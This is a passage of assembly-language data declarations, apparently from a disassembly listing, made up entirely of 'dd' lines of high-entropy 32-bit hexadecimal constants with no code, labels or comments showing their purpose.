dd 0FE0BBF20h, 9F74A8DBh, 16A8B265h, 494B9937h, 548D638Ah
dd 0FCA5FFD1h, 7D90C8FAh, 0E22C092Ah, 45E473EAh, 8D1BBD39h
dd 4BEEF719h, 0AF71DACEh, 1B817917h, 2872293Ah, 466387AEh
dd 365B67D7h, 3D1251B6h, 1DE901F6h, 5DC38746h, 0EAC54A95h
dd 3ACEE46Ch, 0CCCA6EC2h, 0DF744A1Fh, 68079207h, 76083C18h
dd 354F79C9h, 0E2FDF537h, 0D155F6ABh, 753A9EE9h, 0A81E7D16h
dd 0E4E6EF3Dh, 496F6A80h, 1AF7E23Ah, 34F90E81h, 0A9731F66h
dd 15A4EE09h, 0EAAAD318h, 3250BA38h, 0BB5BA5A3h, 0E1960F0Ch
dd 2B4A1F04h, 22FF67E2h, 0ECE3E332h, 5DE104F6h, 0F3B39510h
dd 77CB3D9Ch, 5AC2CEADh, 6E1D09D9h, 0B7F3F23Ah, 0C598110h
dd 3FBEF84Bh, 0E4482DB7h, 0DF0BF9E8h, 8CE03D6h, 3D04EC51h
dd 0E087A386h, 0A392ECE6h, 578931F5h, 0D91E9AC0h, 0E5D5DE38h
dd 0D3B3D796h, 22EA5C88h, 42C30EE2h, 60034B93h, 50D56F7Dh
dd 3FAE6000h, 0DC9BECEBh, 59A5A12Ch, 306582E1h, 9AAE031Dh
dd 0A35250D8h, 625CC98Ah, 0AE16DC20h, 193C4C16h, 151A120Dh
dd 0EC672FF1h, 0ACDB2B04h, 5556B1DDh, 0C9154796h, 0ADACDDF1h
dd 0D824753h, 0CAB8F79Eh, 52F307ABh, 0B635F415h, 0CD6D85F2h
dd 741C0C53h, 204B84DCh, 25212B81h, 19964F34h, 902DCFBBh
dd 0FB573F48h, 5F94C43Dh, 2C967C68h, 72C9119Eh, 0EF7DFDCFh
dd 0BA72535Ah, 9EA503C3h, 375402AFh, 52D5D4D1h, 121BED0Fh
dd 0A97A3EB1h, 0B9DE0F77h, 5EE7E9C3h, 2559291Ah, 13990D97h
dd 66DD3A9Dh, 104721ACh, 0D510242Fh, 0CE816740h, 25F195AEh
dd 0EC10DD2Dh, 0F1BE168Bh, 51EB2CFFh, 85390568h, 0F8956834h
dd 9B5BD603h, 4D83F5D3h, 28E9BF25h, 0F571DE13h, 31E78FB7h
dd 1F18DCEBh, 0C2F8110Fh, 0C980D424h, 0E7DB471Bh, 0A2C0CBC6h
dd 0F4F2586Eh, 0D53CA6C2h, 46C2A12h, 0E4CD894Dh, 364871EAh
dd 0F44BE182h, 0B465BDD8h, 8B55933Ch, 0FFF8E5F6h, 4DAFD540h
dd 81A5BCA5h, 0A5020D59h, 0E58EDEAFh, 4E59201Ch, 1C6FBCD2h
dd 25F470A8h, 3EC01573h, 33FD135h, 6D8C5838h, 2DAC1318h
dd 96FF2D3Dh, 0C69E93ADh, 0A334D969h, 0E8EB0EBEh, 0FFEC5935h
dd 0F07705BCh, 620B9FD7h, 60B04438h, 5B5AFB8h, 0F718DEABh
dd 3C71F9D9h, 81904FDBh, 12AB0349h, 0F39811FBh, 0EA826244h
dd 0D12DF6DFh, 10327AD9h, 0BDC6C90Bh, 3708049Bh, 0DA1F10A1h
dd 0DD07943Eh, 0D14D264Ch, 0F7BC9B33h, 0B08F3B72h, 0F2F8C9F3h
dd 0C2E79C17h, 3ACB9812h, 59991BFEh, 3F7BF90Ah, 0D34067C2h
dd 27BE8164h, 6F716F93h, 2BEB2637h, 3C6D65F5h, 3D1CBD2Ch
dd 3628B9ADh, 4C733467h, 6C5E900Bh, 1890107Ch, 8C5E6036h
dd 9B3DF6AEh, 5DF8AC98h, 2C7FE1EBh, 0F16FC0AFh, 3E1F1BF3h
dd 6460E02Bh, 749F2EBBh, 0F8213246h, 44469728h, 44E9B3A1h
dd 71ED3B1Ah, 0A3F69C41h, 6CF20947h, 1CCCBD94h, 6B4A486Dh
dd 80A9A49Ch, 3EDCF7F2h, 0D7BE6E16h, 225D849Ah, 8D43B5B3h
dd 2924A1C0h, 0D6F7B81Ch, 0D062053Fh, 17EFE41Fh, 4D2EA65Dh
dd 0EC6758BBh, 81C3B17Dh, 0A9F5A042h, 481BDA12h, 429B43FEh
dd 6736ADD0h, 0EDB4674Dh, 0B751AB03h, 7161055Bh, 65C9DE38h
dd 188FBECCh, 1A0F9DD7h, 0BFC4F2D0h, 6B2E0152h, 9041953Eh
dd 0DE2687C8h, 10B8250Ch, 0DA95817Ah, 0ACCE76h, 56F094EAh
dd 8C0AF817h, 0B277E821h, 594018ADh, 0EC48D1ADh, 23D5901Ch
dd 85C510BBh, 679282B7h, 26DD1D17h, 33EBAD8Dh, 0AA045B6h
dd 24A48E94h, 42CB9DE6h, 1CDBF6BFh, 0F83DE153h, 0D602E0C6h
dd 7DD09A5Ah, 0FA82463h, 0A6EAF3B8h, 4EBC52E0h, 1B730CF5h
dd 0B14E00Ah, 4AE4BF02h, 97524EFBh, 10E95840h, 224531C9h
dd 5B1BC9B0h, 0AAAC77B5h, 0E5E8D630h, 87D27E27h, 42E47208h
dd 0C7E84B7Ah, 3B167CB8h, 70B37BC5h, 9289C582h, 0D146451Eh
dd 67A47B5Ah, 377A7B0Ch, 8C25E093h, 0AE67D84Ah, 0EF7C7A4Fh
dd 0B9FAF842h, 1FEF2C19h, 339837D3h, 5709551Eh, 7D3C69A7h
dd 0FD41763Ah, 4AA991ADh, 0EAA94C87h, 49BC026h, 0BB3BDDEh
dd 653FC8A7h, 7624352Eh, 5AC60A56h, 13DE1D3Ah, 97868806h
dd 0B658144Ch, 0F202CC15h, 0B3894216h, 8021B929h, 0C49537CEh
dd 3047A368h, 54DC3139h, 0EE2B19F3h, 8AB512DEh, 0FC91D895h
dd 0F08CA245h, 0C895F803h, 1F68CD50h, 665B7564h, 0E3D34D87h
dd 2C71349Ch, 0EABE2FC2h, 0CD62A02Fh, 65069DE0h, 0E4015749h
dd 0C5103BEAh, 7A33BF21h, 6E5A994Fh, 0FE321FF2h, 75EDADD5h
dd 6C9FCEE1h, 0F3D5BDF6h, 691E2DB2h, 0E4C58881h, 0B9F1C805h
dd 93381045h, 13FBD0A3h, 0BD0A2C43h, 31F2835Ch, 0B59B30A7h
dd 781999ABh, 61B327C9h, 0F2686539h, 0EBD8ED7Ah, 0B5B4B09Ch
dd 79DAC440h, 228F5AD4h, 0F45E24D6h, 0E3D5CDCEh, 1188B7BCh
dd 3BA90EFBh, 58DF164h, 0B56BF2B3h, 55509A6Eh, 0CB48D6D7h
dd 0B701577Ch, 70462B60h, 0B4321FE6h, 68D2551Ch, 71E05C7Dh
dd 0D9679D47h, 0EC3E4472h, 0D78CD92Bh, 0C6D58B6Dh, 1D1706B4h
dd 0AC508B20h, 0AC8B240Fh, 0C916ECB8h, 0FE8D79BBh, 724845D8h
dd 0BC955EFFh, 8E19F650h, 4F3D7F6Dh, 26180504h, 4C3E2A8Eh
dd 4C634815h, 0A5E26926h, 172A9716h, 0F2C8D50Eh, 25B7763Ah
dd 0B1A30807h, 62E46030h, 71467650h, 852E0A0Fh, 0C4610687h
dd 0F6BC714h, 3F83B471h, 84AA13FEh, 0CB8E42A3h, 29887560h
dd 6F7DDCD5h, 0BA39C113h, 7B6C4132h, 0BE7D312h, 823251A3h
dd 1A4658A9h, 4560DF57h, 7C6135C8h, 3818E2C3h, 5263D425h
dd 600C195Dh, 6491E4DFh, 0AB40B4A1h, 0A3A67E75h, 5239B1C6h
dd 6EF046D1h, 7F8E3EBFh, 131077B4h, 0D335182Dh, 0CE470336h
dd 0B277457h, 2A0EF195h, 763F8393h, 0C7DB75B9h, 6CC3FDDDh
dd 0C620497Fh, 3E416E2Bh, 7773B001h, 9EC6731Dh, 0B0DB4C01h
dd 1B687C26h, 0D42CDF89h, 672A131Bh, 331AA6CDh, 89E92239h
dd 0DF8733F9h, 929B4827h, 991B1970h, 1D61A9E0h, 0A6FAB320h
dd 1316EF91h, 0C8E62A8Eh, 0D18454A0h, 0BDEFEAF5h, 4B2DB833h
dd 192CEAD4h, 0A5E9377Ah, 6F91C55Dh, 89846D9Bh, 0D579CB25h
dd 3CF0E4FFh, 0A4D871C6h, 7D979D61h, 8318A074h, 0E95F471Ah
dd 0A9CA9E81h, 8641AC7Dh, 67F3903Fh, 386DE0A5h, 979E9902h
dd 0C7CAC58Ch, 71FCC428h, 572CFBC6h, 9028BEA5h, 19053A70h
dd 919B555Eh, 0CE08DBAAh, 0C43584DAh, 6C70AB7Eh, 0D23F69E9h
dd 56A8DC6Bh, 102FB908h, 706DDFBFh, 69B34CC0h, 61B2E50Ah
dd 0D95E895Eh, 6229333h, 7B762AC7h, 3B53F2D9h, 26358E4Dh
dd 16695D99h, 7AFF1E78h
dd 3FB6E856h, 0B4BF2195h, 698F8879h, 0DEE9F948h, 5800C156h
dd 29A3224Dh, 35F15FB7h, 34BFDE45h, 0EA840C71h, 50B7A229h
dd 0D0DEA5C9h, 331F5C18h, 5A4C8F91h, 0CFB3675h, 421988Bh
dd 89246F95h, 0FB271298h, 0A388C0E0h, 0FF209F55h, 0BDCB1D47h
dd 727DCC43h, 26F15A92h, 72111596h, 407D0356h, 0CD98AA0Ah
dd 0F9C092Ah, 7C45799Ah, 0F8EE86CFh, 0AB3DC269h, 0F41AD29Fh
dd 0BD18E980h, 99D0CC43h, 95D88607h, 0EE78A4C3h, 41F3DF3Bh
dd 0B69CF04Ch, 374C58C6h, 0D8D5C182h, 0CEABB3EAh, 51CD2647h
dd 7840D188h, 54875C2Dh, 0D803010Dh, 0BAF27F01h, 0F75EB191h
dd 12E27093h, 903234C7h, 0E01606F6h, 0C4DA4E65h, 3C403F6Ah
dd 0DA6A5A1Bh, 28EEA406h, 0A56B74EDh, 7F3AFEA8h, 0DC2CDC69h
dd 0BF92399Fh, 67F185EAh, 0A9F965A9h, 0CE1E3CCEh, 71F2705Fh
dd 20B8BC38h, 740C694h, 0D456E7F7h, 62A004BBh, 0A2AA576Ah
dd 18D3050Dh, 8E1DFF92h, 0F1D3951Dh, 0E3199192h, 2C9B5D00h
dd 9E33B86Dh, 7EE3D5B6h, 935E2417h, 0CCB5A576h, 211B90E2h
dd 6FA3E0Eh, 8C85C831h, 0DDD9B6C6h, 0F0592A70h, 0D0CD4795h
dd 4076AD66h, 6849C3B3h, 5743B8C2h, 342729BAh, 77E9A097h
dd 530BECA4h, 0D6289EB9h, 92F52B38h, 0F3FE5224h, 0C6953A45h
dd 5F3D3CA2h, 95D401h, 9FE5600Eh, 0D5DEF981h, 536696E0h
dd 91C0470Eh, 2A999D4h, 0EE47FEE5h, 96E07522h, 0CFAD4394h
dd 44343F2Ch, 0CE8E54C0h, 389734DDh, 0D337C472h, 0CD718BF9h
dd 20649E95h, 0CC1C833Ah, 5D75F015h, 0B8542612h, 77444B7Dh
dd 0FE959D39h, 0A3D5927Bh, 1C0ED9EEh, 352C477h, 15926A8Dh
dd 22469075h, 0B50E863Ch, 0A60BCAAh, 77A369EFh, 4DA1711Bh
dd 1BB81574h, 4C59F8B4h, 0C5207F14h, 0C636B884h, 0FF24E3C6h
dd 0FC4E0C8Eh, 7ECE1651h, 93D5DEE4h, 0E5768587h, 0F480D2EDh
dd 0F8C80996h, 0D67371Ch, 9CE04081h, 2BB80952h, 0E2C11EF4h
dd 0BA0708ADh, 0ECEC0C6Eh, 0D6324F1Dh, 68046322h, 9C8DB4DDh
dd 0F73FB1C7h, 67F7579Ch, 8EB62Dh, 6B42E55Ch, 38685ACAh
dd 0DC2D5A5Ah, 359AC3C6h, 0A4C32BC7h, 787EDC11h, 0AA091602h
dd 445EC663h, 25AD9BA7h, 0B168D4D2h, 0BFE07AF5h, 42A68A32h
dd 48625D4Dh, 0C6F38E97h, 2AFC0F03h, 0B1D64076h, 0C2B0C63Eh
dd 838B0C28h, 79E90A97h, 0A5307F2Bh, 32CF526Ah, 0E4603F59h
dd 6773D031h, 0F9DCD67Ah, 0F31E675Ah, 64503C1Ch, 211BA2DFh
dd 3DAE3F76h, 25B87DDFh, 21763C73h, 0DF67A198h, 99AE3EF7h
dd 0C896F83Ch, 0C217A4C7h, 395FB6B2h, 0A075E29h, 0E8AE8721h
dd 2E987E59h, 0ADABE00Ch, 0CFCE9FC3h, 0EF20E4E8h, 0A6C8D345h
dd 50E7D284h, 0E34C3748h, 0E5C37926h, 8315F8D9h, 10DA1ADEh
dd 0D927A714h, 0B77F150Fh, 91FCFDF5h, 0AE5397AAh, 45DC656Dh
dd 56AC62CAh, 6B449892h, 0B7B00762h, 912478F4h, 12BD17CEh
dd 0ACEF382Bh, 5B50A177h, 24DDD7EEh, 16FB0A28h, 1B7FD0A7h
dd 7AB7A6CFh, 20C31728h, 0E47EEF01h, 0ABC4EB1Ch, 6F3846C6h
dd 0ECDAA685h, 0F2FB9BEAh, 9F59F2FBh, 0EB311522h, 65B95DFDh
dd 15B4F826h, 2E492653h, 0F4C97CC8h, 0EFAC6F69h, 6FD191E5h
dd 5D7A659Dh, 8253A28Ch, 772452D5h, 0C4EB2F3Fh, 2AA1ACE4h
dd 0F390B0C4h, 0C0E6D7AFh, 0B784D208h, 18C287CEh, 7BD069BDh
dd 1BFCE0B5h, 5238B469h, 1F6541F5h, 93BCE49Fh, 552C3E09h
dd 271FDA0h, 6D2AEA87h, 20E534B7h, 2FCB9E86h, 51521594h
dd 0F370CAD0h, 963285ADh, 634087C6h, 8BC25543h, 940B04EBh
dd 0A029CB5Fh, 29CC1C11h, 0DC195977h, 7CF795CAh, 5D2E44B2h
dd 8FD2D4BCh, 0BCB0AE6Bh, 0F86BF24Dh, 5C4D6C5h, 0BC24D2CDh
dd 0C6DD08A6h, 43A20BA6h, 2C47E56Fh, 0DC2DB591h, 5F1F990Ah
dd 0D159B61Ch, 5195215Fh, 9CBB7868h, 7C4F8A07h, 6374EAA4h
dd 1D14ACC7h, 34931F35h, 0B5359A83h, 8D14FD7Dh, 707B73D7h
dd 714E9E4Dh, 3BFA24F9h, 8F40825Eh, 8B4187Dh, 0CE7410BBh
dd 9563078Bh, 0DF054CE3h, 0BD6CC669h, 0BCCDE076h, 0DE64A4C8h
dd 0D4F291FDh, 4C14F353h, 0D81A896Bh, 0DD9F0FC3h, 6A27DB7Ch
dd 87E4596Dh, 36DB539Ah, 2F5792E0h, 529D56h, 7517A30Ch
dd 232C02E0h, 770E192Ch, 5C7F67B2h, 49E035C1h, 0AD0B0176h
dd 0E6B6455Ah, 7380AEB6h, 0A93CDB68h, 5BFD3E66h, 3AA2C8C6h
dd 3E2A7635h, 10E2219Fh, 0F477738Ah, 6CCBFF78h, 36B06870h
dd 0D7FA9220h, 5ECC7072h, 0A816F286h, 244909D6h, 2742CDBCh
dd 6BD00514h, 0AC0C987Dh, 2ABC4CC5h, 836B502Ch, 5C0D1BC9h
dd 931C757Dh, 81F1009h, 0C3486656h, 2C7F4EB3h, 1CDC6C1Fh
dd 63EBB23Ch, 1DDAAF30h, 0BB2B6B65h, 3F07003h, 35A8B311h
dd 3A05DEB1h, 0E28F702Ch, 12B19683h, 0E6E1E692h, 2F7CAE1Ch
dd 378548C5h, 703FC52Ah, 0B7BF3BBDh, 57608F71h, 57F3213Ah
dd 445E6571h, 0E4F9513h, 37DDE8ABh, 0EA006FB5h, 7323C814h
dd 90C7ACF3h, 0D42D178h, 715C6A39h, 17E99ED5h, 0CDDD3ADBh
dd 9D5064BBh, 0FD6D9BB4h, 97F1DB0Dh, 160CF1EAh, 0FA4516C3h
dd 18F340ABh, 6B44B51Ah, 674A4963h, 484A6E52h, 0FAD6F78Bh
dd 0C7F14878h, 7EE165E1h, 9730E496h, 0C93C3506h, 34CD08B3h
dd 0C5B56B0Fh, 0C1F6C13Bh, 30AC750Fh, 966FF54h, 305EF5A5h
dd 0DFEF2240h, 8AF7715h, 21441F50h, 0D95D4C92h, 0A22BE360h
dd 3191F869h, 9873B9C2h, 2B86B26Ch, 1CADD8F9h, 0CF657E52h
dd 0C1BAA529h, 0EDF9EEEBh, 9F894C65h, 0BC5D7CFh, 9F570F4Ah
dd 72004118h, 46551223h, 0F939044Ah, 0CBBAB05h, 57BC9F94h
dd 9B86EAFAh, 0B54914A9h, 5565255Dh, 960FE9B1h, 6E980878h
dd 0B98A0A98h, 9BB8228h, 224CEC91h, 389FC549h, 0CEF114A3h
dd 29043859h, 7ED7D967h, 95D3AF6Eh, 0A4CC0B88h, 55F47403h
dd 0A2B13418h, 0AC61AD4Ah, 84BA7B19h, 0E3DA224h, 40DF498h
dd 0FF11FBB1h, 4771CB0Ch, 0EF94CCAAh, 0BD3C3FFh, 9F821724h
dd 74A5ADCBh, 15ED3568h, 3D99EE96h, 0B5104327h, 5A85FF36h
dd 664645D9h, 1DF60BDCh, 7259F330h, 4E76E870h, 0EA47931Ah
dd 3CD6E8FBh, 69467B53h, 94186EC2h, 962B65C1h, 0A8544F27h
dd 5F0C6EFEh, 0A30D1DBAh, 0F1E56B2Ch, 16B2E5BAh, 0AF0877B5h
dd 5FA4AD19h, 78D00B63h, 0E5796A4Ah, 0E628C5ACh, 9E11D2C5h
dd 0C4E284A3h, 0B5BC9A73h, 73B27CCFh, 9BD5F2A3h, 46279A4Dh
dd 0D8ADBE44h, 61FBDE56h, 0C8F6F367h, 48A7158Bh, 234AD91Bh
dd 62D53644h, 4256BD5Eh, 0F1EA9351h, 13C690A8h, 692D1ADCh
dd 470688E6h, 23FB6441h, 0DFE529B2h, 0CBC6905Ah, 39F2FE19h
dd 0DDD91EAFh, 82C55547h, 0A936DC3h, 3EC980D7h, 8549B87Fh
dd 7DCDD918h, 0AEB296E3h, 7A228467h, 0DC642BCAh, 6073F258h
dd 0AFD2B426h, 0A59FD0BBh, 0AD74B690h, 0CA583BE3h, 7719AEA9h
dd 63BD0706h, 0BB9DD104h, 0EA407C6Fh, 17BF1A6Bh, 23E8722Fh
dd 2371E318h, 526C67C7h, 0DD0F1176h, 25CFA5D8h, 0CA3BCC9h
dd 517FC9D8h, 48265E4Fh, 4B1F57CCh, 0C3B8E2D9h, 0BA1F3191h
dd 0D6316907h, 20B0AADh, 0FF831EA4h, 3ABF034Ah, 8B137ADh
dd 0F77129F5h, 27460662h, 0E749ACFAh, 735A306Dh, 58D7570Fh
dd 4272C92Eh, 0D4A8A313h, 0BC22E2A8h, 77E25CE1h, 0AD09AC18h
dd 9986FC6Ch, 0B8C49AF5h, 857574Bh, 6A938CA2h, 72C76635h
dd 15FCA54Ah, 93EB8F74h, 9C00BCE3h, 52FC5CF7h, 0AF60C80Dh
dd 0E2ADADFDh, 0BBF0D457h
dd 7BEEF67Bh, 9DC1BE5Ah, 0FE136380h, 0B77B9861h, 6069466Fh
dd 1C5A5920h, 627C7F89h, 4BB982F0h, 6986DD04h, 0F9AC31E8h
dd 6E5FDE63h, 0B69B87Eh, 3FBDC8F9h, 9F4A5FFFh, 204302C4h
dd 3530D0BBh, 0CE32F59Dh, 0AABF14ADh, 21742274h, 0A8A9A7D4h
dd 9B9032C2h, 0CD6D77E3h, 553E3CD2h, 6A9F1DD4h, 0BD1CB8A1h
dd 7CC19280h, 0FE44F4A9h, 0B1ECBE02h, 0FB884BE3h, 1AB172E5h
dd 0AEE04F06h, 274708CDh, 529CA57Dh, 0D7C9A742h, 0EC4DC6D7h
dd 0BE5E5416h, 3611C089h, 8ECF4DEFh, 1D59CC3Dh, 0B9AFE9F4h
dd 0C0613A87h, 0DD74FFEBh, 146AACE2h, 6C174E1Eh, 45ECD812h
dd 0E57E3C7h, 26FF686Eh, 349CD839h, 0C4A27FE5h, 8D54AE57h
dd 40C362F4h, 0D801829Ah, 2B4647C9h, 0B9A16EF6h, 2563EF69h
dd 5CE50D42h, 0B53B144Ch, 7EB3EB72h, 24587A08h, 3131913Dh
dd 0AA8DE882h, 5FE976B2h, 0D906B1BBh, 7773AF12h, 0E796DDA3h
dd 0DA7CB7Ch, 0D8C87C60h, 0D62DFDC2h, 947DDEE6h, 84C0A294h
dd 13F24115h, 31C68CA8h, 248D8EA4h, 60E05552h, 58C8FD5Eh
dd 0A7C97DC4h, 4E6E4D0h, 14456E87h, 9BDB5EC8h, 3120EDE1h
dd 2B9F0995h, 0D4BCC00h, 0D3E01262h, 8984B83Dh, 91F0DC97h
dd 22E0FB5Fh, 459CAA5Bh, 7E034C12h, 0F61F1B1Bh, 0C397DE9Ch
dd 551ECA98h, 0AE33BA64h, 0CD941638h, 1BB59820h, 0B84A4DB9h
dd 0DB38961Fh, 87520F6Dh, 9D250480h, 0C37A743Dh, 0E8203297h
dd 10119C30h, 0A0C41441h, 327FA121h, 0E08492EEh, 0A214C4C5h
dd 8D142B2Bh, 0D9826B81h, 0B934DE1Bh, 7E302E24h, 0B74F503Eh
dd 769A1155h, 14D619FCh, 334698CDh, 0E46AC5DBh, 0C4920237h
dd 0EA3B1F73h, 940C0970h, 9E574E8Eh, 32BCE66Dh, 0C4176146h
dd 4051FABFh, 0A00D4CBh, 0AB9E7D33h, 5E5AD160h, 1C3F16FBh
dd 0AFB76A75h, 643C00D2h, 0CE713D5Eh, 0CD0290D6h, 5F60C45Ch
dd 0CF2C371Ch, 0E7BB1586h, 30533019h, 0A37302C8h, 0F2DCF987h
dd 63398314h, 9DDE6BCDh, 70D88B25h, 0B5EE89AEh, 41654695h
dd 0AEE3AB3h, 88677F82h, 5F76BE7Bh, 7710BB8Bh, 57D6020Dh
dd 2EC6DD3Eh, 835C8E89h, 84D885AAh, 0A8CA41B0h, 0B14FE524h
dd 81615F77h, 99A828F0h, 34C85602h, 0FBFA0EA3h, 0AB9713C8h
dd 0A4176B10h, 0F4FB549Fh, 0CFA9B0BAh, 49695F31h, 6BFAA36Fh
dd 42180D26h, 80CC65B3h, 0E3797878h, 3396A4E6h, 0C82FE21Fh
dd 0C20A519Ah, 54496194h, 0ED93D075h, 0BA280B82h, 0E98C4FF7h
dd 9DFF1789h, 0F43F2F48h, 9DA4EB45h, 95E77AE4h, 0FFD34DA5h
dd 74200580h, 0DC56513Bh, 806F6710h, 32B8CD3Ch, 2E6FD579h
dd 97145C9Eh, 74DF760Eh, 34C5AEB0h, 0F51AEBADh, 0FA0FB133h
dd 339FB36Dh, 0D8D02197h, 0AFCF9815h, 0F4C00691h, 502410A0h
dd 0C2E3CB86h, 0BB7081CBh, 29226B4Ah, 14BB948Dh, 40043E6h
dd 7ED93605h, 7409C164h, 0E74F1D73h, 0B23F5F00h, 0DD6AAD3Eh
dd 3EB51D90h, 0D8F2808Ah, 0C202A0E9h, 4E1582EAh, 14A341D3h
dd 6EF7D6F8h, 0E157EA50h, 8855B7F8h, 0FC4936E3h, 99414620h
dd 0F2F9BD9Dh, 58FDD40Fh, 2AAA81EBh, 0D921FD04h, 0A78B21B5h
dd 9BFC9285h, 9E9A36F1h, 0FDD21DD8h, 26F1F420h, 0B9FF7D1Fh
dd 5822A003h, 0B210C864h, 10AA288Ch, 0F9D3E2B0h, 8E286C33h
dd 0F08E78C3h, 8D19812Ch, 8591206Eh, 1DC995Eh, 7FA2119h
dd 7D98AC2Ah, 5346C0A6h, 85C3044Fh, 3D9EE56Ah, 0DC848D66h
dd 492A32ABh, 0D863CCFDh, 0F5B0DD38h, 0B02911A5h, 0E8A37E9Ah
dd 0E6CFED4Ch, 2AFDEF5Ah, 6F8D57E7h, 91BDEB67h, 9E7711h
dd 708C4407h, 23A8620h, 95E9C59h, 0DF3BECDh, 94758196h
dd 0D1B1F80Bh, 8F20A479h, 3E2927AAh, 0E64ED036h, 41BD3283h
dd 5F90C04Ah, 7E35ED38h, 3AE49A05h, 677A6BFAh, 0B9670517h
dd 9DD811A1h, 7CAC2ACFh, 10C8CBE2h, 244F617Ch, 0FA8D90BAh
dd 77E926B1h, 9B7D287Eh, 6961481h, 0AA519BFEh, 9DAD1011h
dd 0C8A65D5Ch, 51B9DE61h, 22FFB50Ch, 91E85E5Eh, 0B23110ABh
dd 0C2847B8Ah, 717DF8CBh, 2A931B75h, 4EBB598Fh, 6B22B7CAh
dd 3EE1B49Fh, 8652E742h, 4DD7A1DCh, 97A2BAB6h, 0FB4F151Bh
dd 4AC0ADDFh, 0B0EEE8EAh, 0AD1526D0h, 5592168Eh, 4A2B748h
dd 0AB448D82h, 0C2A76A88h, 3B62891Ch, 4EEF89BDh, 2595F9E8h
dd 0D407F79Eh, 581099EFh, 88FDB36h, 4BA0C6Eh, 0DF3C48D0h
dd 1DACD2D6h, 0B968C4BDh, 0D53DA423h, 4F1E83DCh, 720E32D8h
dd 360247C7h, 0C0FFB628h, 30C60F99h, 4A7D8AEAh, 0B0B12A59h
dd 6FF0B29Ch, 4BDF53FEh, 6873F808h, 5F0456ECh, 0DAA0EC06h
dd 0EA2A35ADh, 6AE5191Ch, 52996EF0h, 0D3425D88h, 5CAA8B8Ah
dd 124799D9h, 1890B761h, 61128757h, 6E686E59h, 0F44CCFB2h
dd 0AD5E4465h, 0E538776Dh, 7EAE8427h, 3499287Ah, 0C8719469h
dd 6779B379h, 3DA1E61Dh, 9A5D6297h, 0B0BD0191h, 0E7DAF7B9h
dd 3E2D4B2Dh, 94D023B9h, 53CCDE8Fh, 0E7D94A3Dh, 0FA5224D8h
dd 0E1827101h, 8CA05BFh, 0A3C99516h, 9CA67165h, 14252185h
dd 0D340DC08h, 5DE157FFh, 0BB439E0Fh, 4651BD09h, 22F034E1h
dd 0B2FC7A82h, 80FD2FD5h, 0B49C663Eh, 542E30D0h, 85E92201h
dd 7DE08C02h, 81590B59h, 0E6C6A83Fh, 4814DFC2h, 6908365Ch
dd 440CB239h, 815E6D2h, 0FB7EEB6Ch, 0D1D47499h, 5EE23072h
dd 6A495524h, 83779872h, 617FD0EBh, 0BA386D59h, 1DDC0832h
dd 2AFBDE7h, 5F8352E8h, 9ADF5029h, 8B8A1FA3h, 0B2347A85h
dd 2A00D615h, 8F3C18EBh, 0FA52E40Dh, 510D2692h, 12D703F3h
dd 7B3F0487h, 171DA483h, 51FAE385h, 4BDA91DDh, 6421FA5h
dd 0D2473F29h, 6CFC2B44h, 7F4F0DE5h, 6CFE1546h, 871CFA50h
dd 96D41681h, 5F5E4361h, 8D79BEBBh, 0DE721868h, 3FE60C1Eh
dd 557035A8h, 201AF6D6h, 9451E7A8h, 37B950BCh, 9A114497h
dd 2BBC2AC4h, 0C8C92525h, 0B85A17C7h, 0DD3E539Ah, 0C1D59B3Ah
dd 0FF95E774h, 0A92B404Eh, 0A226C01Dh, 41EDDC01h, 0B4D220B9h
dd 24475EE4h, 0C4615A8h, 1FAE1325h, 0F542917Eh, 0CA6E5C97h
dd 428B94E4h, 0FA1146C9h, 98DC472Ah, 0C00FE198h, 31458D12h
dd 0EFFA81DDh, 0F8060D65h, 3DAD9B15h, 1B398DDCh, 946D93A5h
dd 4C445879h, 0D792FF55h, 8E6BAD32h, 56DC9385h, 0E9CCBF1Ch
dd 0A4DCF894h, 0A849C498h, 1AC51B8h, 42639758h, 2E23D589h
dd 496CA1FEh, 1FFACF9Ch, 0F4658642h, 8B65F469h, 4639669Ah
dd 0E2414D7Dh, 98C1D91Dh, 7BEAE255h, 9722F42Ah, 14858D2Fh
dd 33EB900Dh, 0CB32172Bh, 88F0583Dh, 0BB226754h, 0D3B90B2h
dd 2DD305C2h, 0BCF97F69h, 0FC860310h, 1A613EEBh, 18DE620Bh
dd 1729328Fh, 0BCE8175Eh, 0BFB79C85h, 15F1ADBCh, 8309F066h
dd 6404A305h, 0B2EE5F6Fh, 584396CDh, 0A4DC2606h, 0B6CC5C47h
dd 4824CAF0h, 0EFD0E5A7h, 301ACC3Fh, 6BA5D3DFh, 0F7E8035Dh
dd 0FF4AD4B9h, 9956DEB8h, 4CB4C171h, 7121C829h, 79CA7614h
dd 85E90AC3h, 48B1B4F1h, 9FCBF222h, 0D6E38D4Ah, 26BF9951h
dd 18DDE1B7h, 158D2AECh, 3BF85293h, 93B84EFFh, 8672567Fh
dd 0AF3402CBh, 0E302C1D4h, 994F32D0h, 9FABB1C7h, 398C4626h
dd 9E7C386Dh, 1ABBA9D2h, 14120B7Bh, 4E3C03Dh, 22A5EBD3h
dd 0F78DB98Fh, 7490ED32h, 48D1BC94h, 53CDCF57h, 0C8E4A6C9h
dd 15EF72Eh, 0B740CD7Dh, 0DDE320F8h, 0AD00B1B1h, 5FB4F920h
dd 0E547A5A2h, 0E6039804h, 630F2489h, 8196DD29h, 1060EDFDh
dd 88B66DF9h, 879D8C25h
dd 26728C3h, 1BB21405h, 320BA80Bh, 0DD48EF06h, 4672EC4Ah
dd 0FB34FD4h, 0B6E7218Fh, 0A8BBAFBBh, 9E01A06Ah, 2D51E7E7h
dd 10D96A30h, 0B6450947h, 887DA73Bh, 858805CFh, 0BA4C7EF5h
dd 0F5251AF3h, 0C77FDB1Eh, 2727B60Dh, 0D8E233A1h, 9CD66C3Ah
dd 8E4BE6ADh, 0A15BC9D9h, 4189CE1Eh, 0E27FC52Bh, 0D961A3B7h
dd 0D6BF4AEEh, 0C9139B07h, 3C9C5CE4h, 0A09A148Ah, 59A553F4h
dd 0C2EB5666h, 7DCF8C2Fh, 0E22AB34Bh, 88969DA6h, 45C7DC98h
dd 5094090Ch, 0F2F79144h, 458934EFh, 0DD315C29h, 0B698BC23h
dd 328AADA8h, 87F8DFCDh, 1C912216h, 218DC764h, 64386106h
dd 0E6FEA6E8h, 626D1458h, 3C03E97Ah, 0FA2F5AA1h, 31674D6h
dd 821DFCE4h, 0BFFCDB9Bh, 0D68E1115h, 4F5FDEDFh, 0CFC26C61h
dd 80F3B661h, 318CAE28h, 0AA8685A4h, 9BAFA3DEh, 3F22E019h
dd 1B9DFC2Fh, 0E58B6FA2h, 0A1563104h, 0C7FB97A1h, 24B4142h
dd 76789816h, 0D1720B10h, 34E707ACh, 511D8DAh, 315994A0h
